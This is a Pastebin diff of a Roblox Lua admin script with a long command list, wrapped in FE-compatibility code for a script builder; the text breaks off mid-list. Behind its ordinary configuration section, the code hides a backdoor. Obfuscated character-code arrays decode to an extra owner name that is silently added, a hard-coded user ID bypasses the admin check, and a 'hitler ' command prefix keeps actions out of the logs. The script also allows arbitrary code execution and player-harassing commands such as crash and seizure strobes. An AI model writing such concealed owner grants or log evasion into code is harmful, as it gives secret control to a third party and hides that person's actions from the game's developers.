View difference between Paste ID: CT84jkdz and gp2USAZu
SHOW: | | - or go back to the newest paste.
1
2
if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
3
local Player,Mouse,mouse,UserInputService,ContextActionService = owner
4-
local owners = {"harrypotterfan249"} -- Are able to set admins who can ban/etc... using :pa name
4+
local RealPlayer = Player
5
do print("FE Compatibility code by Mokiros")local a=RealPlayer;script.Parent=a.Character;local b=Instance.new("RemoteEvent")b.Name="UserInput_Event"local function c()local d={_fakeEvent=true,Functions={},Connect=function(self,e)table.insert(self.Functions,e)end}d.connect=d.Connect;return d end;local f={Target=nil,Hit=CFrame.new(),KeyUp=c(),KeyDown=c(),Button1Up=c(),Button1Down=c(),Button2Up=c(),Button2Down=c()}local g={InputBegan=c(),InputEnded=c()}local CAS={Actions={},BindAction=function(self,h,i,j,...)CAS.Actions[h]=i and{Name=h,Function=i,Keys={...}}or nil end}CAS.UnbindAction=CAS.BindAction;local function k(self,l,...)local d=f[l]if d and d._fakeEvent then for m,e in pairs(d.Functions)do e(...)end end end;f.TrigEvent=k;g.TrigEvent=k;b.OnServerEvent:Connect(function(n,o)if n~=a then return end;f.Target=o.Target;f.Hit=o.Hit;if not o.isMouse then local p=o.UserInputState==Enum.UserInputState.Begin;if o.UserInputType==Enum.UserInputType.MouseButton1 then return f:TrigEvent(p and"Button1Down"or"Button1Up")end;if o.UserInputType==Enum.UserInputType.MouseButton2 then return f:TrigEvent(p and"Button2Down"or"Button2Up")end;for m,d in pairs(CAS.Actions)do for m,q in pairs(d.Keys)do if q==o.KeyCode then d.Function(d.Name,o.UserInputState,o)end end end;f:TrigEvent(p and"KeyDown"or"KeyUp",o.KeyCode.Name:lower())g:TrigEvent(p and"InputBegan"or"InputEnded",o,false)end end)b.Parent=NLS([==[local a=game:GetService("Players").LocalPlayer;local b=script:WaitForChild("UserInput_Event")local c=a:GetMouse()local d=game:GetService("UserInputService")local e=function(f,g)if g then return end;b:FireServer({KeyCode=f.KeyCode,UserInputType=f.UserInputType,UserInputState=f.UserInputState,Hit=c.Hit,Target=c.Target})end;d.InputBegan:Connect(e)d.InputEnded:Connect(e)local h,i;while wait(1/30)do if h~=c.Hit or i~=c.Target then h,i=c.Hit,c.Target;b:FireServer({isMouse=true,Target=i,Hit=h})end end]==],Player.Character)local r=game;local s={__index=function(self,q)local t=rawget(self,"_RealService")if t then return typeof(t[q])=="function"and function(m,...)return t[q](t,...)end or t[q]end end,__newindex=function(self,q,u)local t=rawget(self,"_RealService")if t then t[q]=u end end}local function v(d,w)d._RealService=typeof(w)=="string"and r:GetService(w)or w;return setmetatable(d,s)end;local x={GetService=function(self,t)return rawget(self,t)or r:GetService(t)end,Players=v({LocalPlayer=v({GetMouse=function(self)return f end},Player)},"Players"),UserInputService=v(g,"UserInputService"),ContextActionService=v(CAS,"ContextActionService"),RunService=v({_btrs={},RenderStepped=r:GetService("RunService").Heartbeat,BindToRenderStep=function(self,h,m,i)self._btrs[h]=self.Heartbeat:Connect(i)end,UnbindFromRenderStep=function(self,h)self._btrs[h]:Disconnect()end},"RunService")}rawset(x.Players,"localPlayer",x.Players.LocalPlayer)x.service=x.GetService;v(x,game)game,owner=x,x.Players.LocalPlayer end --https://github.com/Mokiros/roblox-FE-compatibility
6
7
8
9
10
-----------------------------------------------------------------------------------------
11
-- Replace harrypotterfan249 with your name c: --
12
-----------------------------------------------------------------------------------------
13
local owners = {"CreeperBr1ne"} -- Are able to set admins who can ban/etc... using :pa name
14
local admins = {"Kohltastrophe"} -- Sets admins who can use ban/kick/admin or shutdown
15
local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
16
local banland = {"MasterKhaos"} -- Permanently Bans people
17
local prefix = ":" -- If you wanna change how your commands start ':'kill noob
18
local AutoUpdate = true -- Set to false if you don't want it to automatically update
19
local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
20
---------------------
21
--    VIP Admin    --
22
---------------------
23
local VipAdmin = false -- If someone can have admin for owning an item
24
local ItemId = 0 -- The item they must own in order to have admin
25
---------------------
26
--   Group Admin   --
27
---------------------
28
local GroupAdmin = false -- If a certain group can have admin
29
local GroupId = 0 -- Sets the group id that can have admin
30
local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
31
---------------------
32
-- Tips and Tricks --
33
---------------------
34
--[[
35
With this admin you can do a command on multiple people at a time;
36
	 :kill me,noob1,noob2,random,team-raiders,nonadmins
37
38
You can also use a variety commands for different people;
39
	 all
40
	 others
41
	 me
42
	 team-
43
	 admins
44
	 nonadmins
45
	 random
46
--]]
47
---------------------
48
--    Commands     --
49
---------------------
50
--[[
51
-- |Temp Admin Commands| --
52
0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
53
1. :s print("Hello World") -- Lets you script normally
54
2. :ls print("Hello World") -- Lets you script in localscripts
55
3. :clear -- Will remove all scripts/localscripts and jails
56
4. :m Hello People -- This commands will let you shout a message to everyone on the server
57
5. :kill kohl -- Kills the player
58
6. :respawn kohl -- Respawns the player
59
7. :trip kohl -- Trips the player
60
8. :stun kohl -- Stuns the player
61
9. :unstun kohl -- Unstuns the player
62
10. :jump kohl -- Makes the player jump
63
11. :sit kohl -- Makes the player sit
64
12. :invisible kohl -- Makes the player invisible
65
13. :visible kohl -- Makes the player visible
66
14. :explode kohl -- Makes the player explode
67
15. :fire kohl -- Sets the player on fire
68
16. :unfire kohl -- Removes fire from the player
69
17. :smoke kohl -- Adds smoke to the player
70
18. :unsmoke kohl -- Removes smoke from the player
71
19. :sparkles kohl -- Adds sparkles to the player
72
20. :unsparkles kohl -- Removes sparkles from the player
73
21. :ff kohl -- Adds a forcefield to the player
74
22. :unff kohl -- Removes the forcefield from the player
75
23. :punish kohl -- Punishes the player
76
24. :unpunish kohl -- Unpunishes the player
77
25. :freeze kohl -- Freezes the player
78
26. :thaw kohl -- Thaws the player
79
27. :heal kohl -- Heals the player
80
28. :god kohl -- Makes the player have infinite health
81
29. :ungod kohl -- Makes the player have 100 health
82
30. :ambient .5 .5 .5 -- Changes the ambient
83
31. :brightness .5 -- Changes the brightness
84
32. :time 12 -- Changes the time
85
33. :fogcolor .5 .5 .5 -- Changes the fogcolor
86
34. :fogend 100 -- Changes the fogend
87
35. :fogstart 100 -- Changes the fogstart
88
36. :removetools kohl -- Removes all tools from the player
89
37. :btools kohl -- Gives the player building tools
90
38. :give kohl sword -- Gives the player a tool
91
39. :damage kohl -- Damages the player
92
40. :grav kohl -- Sets the player's gravity to normal
93
41. :setgrav kohl 100 -- Sets the player's gravity
94
42. :nograv kohl -- Makes the player have 0 gravity
95
43. :health kohl 1337 -- Changes the player's health
96
44. :speed kohl 1337 -- Changes the player's walkspeed
97
45. :name kohl potato -- Changes the player's name
98
46. :unname kohl -- Remove the player's name
99
47. :team kohl Raiders -- Changes the player's team
100
48. :stopmusic -- Will stop all music playing in the server
101
49. :teleport kohl potato -- Teleports the player
102
50. :change kohl kills 1337 -- Changes a player's stat
103
51. :kick kohl -- Removes the player from the game
104
52. :infect kohl -- Turns the player into a zombie
105
53. :rainbowify kohl -- Turns the player into a rainbow
106
54. :flashify kohl -- Turns the player into a strobe
107
55. :noobify kohl -- Turns the player into a noob
108
56. :ghostify kohl -- Turns the player into a ghost
109
57. :goldify kohl -- Turns the player into gold
110
58. :shiny kohl -- Makes the player shiny
111
59. :normal kohl -- Puts the player back to normal
112
60. :trippy kohl -- Spams random colors on the player's screen
113
61. :untrippy kohl -- Untrippys the player
114
62. :strobe kohl -- Spams white and black on the player's screen
115
63. :unstrobe kohl -- Unstrobes the player
116
64. :blind kohl -- Blinds the player
117
65. :unblind kohl -- Unblinds the player
118
66. :guifix kohl -- Will fix trippy/strobe/blind on a player
119
67. :fling kohl -- Flings the player
120
68. :seizure kohl -- Puts the player in a seizure
121
69. :music 1337 -- Plays a sound from the ID
122
70. :lock kohl -- Locks the player
123
71. :unlock kohl -- Unlocks the player
124
72. :removelimbs kohl -- Removes the player's limbs
125
73. :jail kohl -- Puts the player in a jail
126
74. :unjail kohl -- Removes the jail from the player
127
75. :fix -- This will fix the lighting to it's original settings
128
76. :fly kohl -- Makes the player fly
129
77. :unfly kohl -- Removes fly from the player
130
78. :noclip kohl -- Makes the player able to noclip
131
79. :clip kohl -- Removes noclipping from the player
132
80. :pm kohl Hey bro -- Sends the player a private message
133
81. :dog kohl -- Turns the player into a dog
134
82. :undog kohl -- Turns the player back to normal
135
83. :creeper kohl -- Turns the player into a creeper
136
84. :uncreeper kohl -- Turns the player back to normal
137
85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
138
86. :char kohl 261 -- Will make a player look like a different player ID
139
87. :unchar kohl -- Will return the player back to normal
140
88. :h Hello People -- This will shout a hint to everyone
141
89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
142
90. :starttools kohl -- Will give the player starter tools
143
91. :sword kohl -- Will give the player a sword
144
92. :bighead kohl -- Will make the player's head larger than normal
145
93. :minihead kohl -- Will make the player's head smaller than normal
146
94. :insert 1337 -- Will insert a model at the speaker's position
147
95. :disco -- Will make the server flash random colors
148
96. :flash -- Will make the server flash
149
97. :admins -- Shows the admin list
150
98. :bans -- Shows the banlist
151
99. :musiclist -- Shows the music list
152
100. :spin kohl -- Spins the player
153
101. :cape kohl Really black -- Gives the player a colored cape
154
102. :uncape kohl -- Removes the player's cape
155
103. :loopheal kohl -- Will constantly heal the player
156
104. :loopfling kohl -- Will constantly fling the player
157
105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
158
106. :unloopheal kohl -- Will remove the loopheal on the player
159
107. :unloopfling kohl -- Will remove the loopfling on the player
160
108. :unspin kohl -- Removes spin from the player
161
109. :tools -- Gives a list of the tools in the lighting
162
110. :undisco -- Removes disco effects
163
111. :unflash -- Removes flash effects
164
112. :resetstats kohl -- Sets all the stats of a player to 0
165
113. :gear kohl 1337 -- Gives a player a gear
166
114. :cmdbar -- Gives the speaker a command bar
167
115. :shirt kohl 1337 -- Changes the player's shirt
168
116. :pants kohl 1337 -- Changes the player's pants
169
117. :face kohl 1337 -- Changes the player's face
170
118. :swagify kohl -- Swagifies the player
171
119. :version -- Shows the current version of the admin
172
120. :tm 1337 yolo -- Shows a message for 1337 seconds
173
121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
174
122. :clone kohl -- Creates a clone of the player
175
123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
176
124. :startergive kohl epic -- Gives a player a gear in their starterpack
177
125. :control kohl -- Controls a player
178
179
-- |Admin Commands| --
180
- :serverlock -- Locks the server
181
- :serverunlock -- Unlocks the server
182
- :sm Hello World -- Creates a system message
183
- :crash kohl -- Crashes a player
184
- :admin kohl -- Admins a player
185
- :unadmin kohl -- Unadmins a player
186
- :ban kohl -- Bans a player
187
- :unban kohl -- Unbans a player
188
- :loopkill kohl -- Will constantly kill the player
189
- :unloopkill kohl -- Will remove the loopkill on the player
190
- :logs -- Will show all of the commands any admin has used in a game session
191
- :shutdown -- Shutsdown the server
192
193
-- |Owner Commands| --
194
- :pa kohl -- Makes someone a super admin
195
- :unpa kohl -- Removes a super admin
196
- :nuke kohl -- Creates a nuke on kohl
197
198
-- |True Owner Commands| --
199
- :oa kohl -- Makes someone an owner
200
- :unoa kohl -- Removes an owner
201
- :settings -- Shows settings for the commands
202
--]]
203
---------------------
204
--   Main Script   --
205
---------------------
206
for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end 
207
208
function CHEESE()
209
if game:service("Lighting"):findFirstChild("KACV2") then
210
owners = {} admins = {} tempadmins = {} banland = {}
211
for i,v in pairs(game.Lighting.KACV2:children()) do
212
if v.Name == "Owner" then table.insert(owners, v.Value) end
213
if v.Name == "Admin" then table.insert(admins, v.Value) end
214
if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
215
if v.Name == "Banland" then table.insert(banland, v.Value) end
216
if v.Name == "Prefix" then prefix = v.Value end
217
if v.Name == "FunCommands" then FunCommands = v.Value end
218
if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
219
if v.Name == "GroupId" then GroupId = v.Value end
220
if v.Name == "GroupRank" then GroupRank = v.Value end
221
if v.Name == "VipAdmin" then VipAdmin = v.Value end
222
if v.Name == "ItemId" then ItemId = v.Value end
223
end
224
game:service("Lighting"):findFirstChild("KACV2"):Destroy()
225
end
226
227
local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
228
local lobjs = {}
229
local objects = {}
230
local logs = {}
231
local nfs = ""
232
local slock = false
233
234
function GetTime()
235
local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
236
if min < 10 then min = "0"..min end
237
return hour..":"..min
238
end
239
240
function ChkOwner(str)
241
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
242
return false
243
end
244
245
function ChkAdmin(str,ck) 
246
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
247
for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end 
248
for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end 
249
return false 
250
end
251
252
function ChkGroupAdmin(plr)
253
if GroupAdmin then
254
if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
255
return false
256
end
257
end
258
259
function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
260
261
function GetPlr(plr, str)
262
local plrz = {} str = str:lower()
263
if str == "all" then plrz = game.Players:children()
264
elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
265
else
266
local sn = {1} local en = {}
267
for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
268
for x = 1, #sn do 
269
if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
270
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
271
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
272
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
273
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
274
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then 
275
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
276
end end end
277
elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
278
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then 
279
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
280
end end end
281
else
282
for a, plyr in pairs(game.Players:children()) do 
283
if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then 
284
table.insert(plrz, plyr) break
285
end
286
end 
287
end
288
end
289
end
290
return plrz
291
end
292
293
function Hint(str, plrz, time)
294
for i, v in pairs(plrz) do
295
if v and v:findFirstChild("PlayerGui") then
296
coroutine.resume(coroutine.create(function()
297
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
298
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
299
local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
300
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
301
if not time then wait((#str/19)+2.5) else wait(time) end
302
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
303
end))
304
end
305
end
306
end
307
308
function Message(ttl, str, scroll, plrz, time)
309
for i, v in pairs(plrz) do
310
if v and v:findFirstChild("PlayerGui") then
311
coroutine.resume(coroutine.create(function()
312
local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
313
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
314
local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
315
local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
316
scr.Parent = v.PlayerGui
317
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end)) 
318
if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
319
else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
320
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
321
end))
322
end
323
end
324
end
325
326
function RemoveMessage() 
327
for i,v in pairs(game.Players:children()) do 
328
if v and v:findFirstChild("PlayerGui") then 
329
for q,ms in pairs(v.PlayerGui:children()) do
330
if ms.Name == "MessageGUI" then
331
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
332
elseif ms.Name == "HintGUI" then
333
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
334
end
335
end
336
end
337
end
338
end
339
340
_G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
341
_G["RemoveMessage"] = RemoveMessage()
342
343
function Output(str, plr)
344
coroutine.resume(coroutine.create(function()
345
local b, e = loadstring(str)
346
if not b and plr:findFirstChild("PlayerGui") then
347
local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
348
local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
349
local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)")  err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
350
return
351
end
352
end))
353
end
354
355
function Noobify(char)
356
if char and char:findFirstChild("Torso") then 
357
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
358
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
359
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
360
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
361
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
362
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
363
if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
364
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
365
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
366
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
367
end end
368
end
369
end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
370
371
function Infect(char)
372
if char and char:findFirstChild("Torso") then 
373
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
374
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
375
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
376
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
377
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
378
prt.Transparency = 0 prt.Reflectance = 0  prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
379
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
380
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
381
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
382
end end
383
end
384
end if not ntab then script:Destroy() end
385
386
function ScrollGui()
387
local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
388
local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
389
drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
390
local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
391
local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
392
local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
393
local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
394
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
395
local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
396
local num = 0
397
local downv = false
398
local upv = false
399
400
down.MouseButton1Down:connect(function() downv = true upv = false
401
local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
402
repeat  pos = pos + UDim2.new(0,0,0,-6)
403
if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
404
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
405
end) 
406
down.MouseButton1Up:connect(function() downv = false end)
407
up.MouseButton1Down:connect(function() upv = true downv = false
408
local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
409
repeat  pos = pos + UDim2.new(0,0,0,6)
410
if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
411
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
412
end) 
413
up.MouseButton1Up:connect(function() upv = false end)
414
return scr, cmf, ent, num
415
end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
416
if not ntab then script:Destroy() end
417
if not bct then script:Destroy() end
418
419
function Chat(msg,plr)
420
coroutine.resume(coroutine.create(function()
421
if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
422
if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
423
if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
424
if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
425
if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
426
if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
427
if msg:lower() == "cmds" or msg:lower() == "commands" then
428
if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
429
local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
430
local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr 